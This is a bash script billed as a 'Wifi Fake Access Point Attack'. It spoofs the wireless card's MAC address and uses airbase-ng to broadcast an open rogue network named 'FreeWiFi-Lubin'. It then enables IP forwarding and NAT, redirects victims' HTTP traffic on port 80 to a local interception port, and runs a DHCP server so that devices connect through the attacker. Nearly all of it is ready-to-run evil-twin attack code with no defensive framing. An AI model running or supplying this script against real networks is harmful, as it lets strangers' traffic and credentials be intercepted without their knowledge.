#!/bin/bash
echo
echo "Wifi Fake Access Point Attack 0.1. Pvls"
echo "--------------------------------------"
xterm -geometry 80x15+1+250 -T "syslog" -e tail -f /var/log/syslog &
sleep 2
echo "Set wlan0 down"
echo "--------------"
ifconfig wlan0 down
echo
macchanger -a wlan0
echo
echo "Set wlan0 to monitor mode mon0"
echo "------------------------------"
iwconfig wlan0 mode monitor
echo "Raise the wlan0!"
echo "----------------"
ifconfig wlan0 up
iwconfig
#airmon-ng start wlan0
#creating AP point with airbase-ng - crucial part
#airmon-ng check kill
#sleep 1
echo "Airbase - creating Free Wifi [FreeWiFi-Lubin]"
echo "---------------------------------------------"
#airmon-ng check kill
xterm -geometry 80x15+1+0 -T "Airbase" -e airbase-ng --essid FreeWiFi-Lubin -c 5 -v wlan0 &
sleep 3
echo "Checking the gateway IP"
echo "-----------------------"
route -n
echo "Raising at0!"
echo "-----------"
ifconfig at0 up
ifconfig at0 192.168.1.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
sleep 2
echo "Set iptables for at0 at 192.168.1.1"
echo "-----------------------------------"
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
echo 1 > /proc/sys/net/ipv4/ip_forward
sleep 2
#iptables --flush
#iptables --table nat --flush
#iptables --delete-chain
#iptables --table nat --delete-chain
#iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
#iptables -P FORWARD ACCEPT
#iptables --append FORWARD --in-interface at0 -j ACCEPT
#iptables --table nat --append POSTROUTING -o eth0 -j MASQUERADE
#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.0.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sleep 3
echo "Launch DHCP server"
echo "------------------"
#touch /var/lib/dhcp/dhcpd.leases
#ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
dhcpd -cf /etc/dhcp/dhcpd.conf at0
#/etc/init.d/isc-dhcp-server start
#killall -KILL apparmor
#mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
#dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0
#/etc/init.d/isc-dhcp-server start
sleep 2
route -n
#Cleaning up
read END
if [ $END = "q" ] ; then
echo
echo "Closing script - cleaning..."
echo "----------------------------"
airmon-ng stop mon0
airmon-ng stop wlan0
ifconfig at0 down
#brctl delif br0 eth0
#brctl delbr br0
#ifconfig br0 down
echo 0 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
#rm /var/lib/dhcp/*
echo > '/var/lib/dhcp/dhcpd.leases'
/etc/init.d/isc-dhcp-server stop
#killall -KILL dhcpd
echo
echo "Good bye."
echo "---------"
exit
fi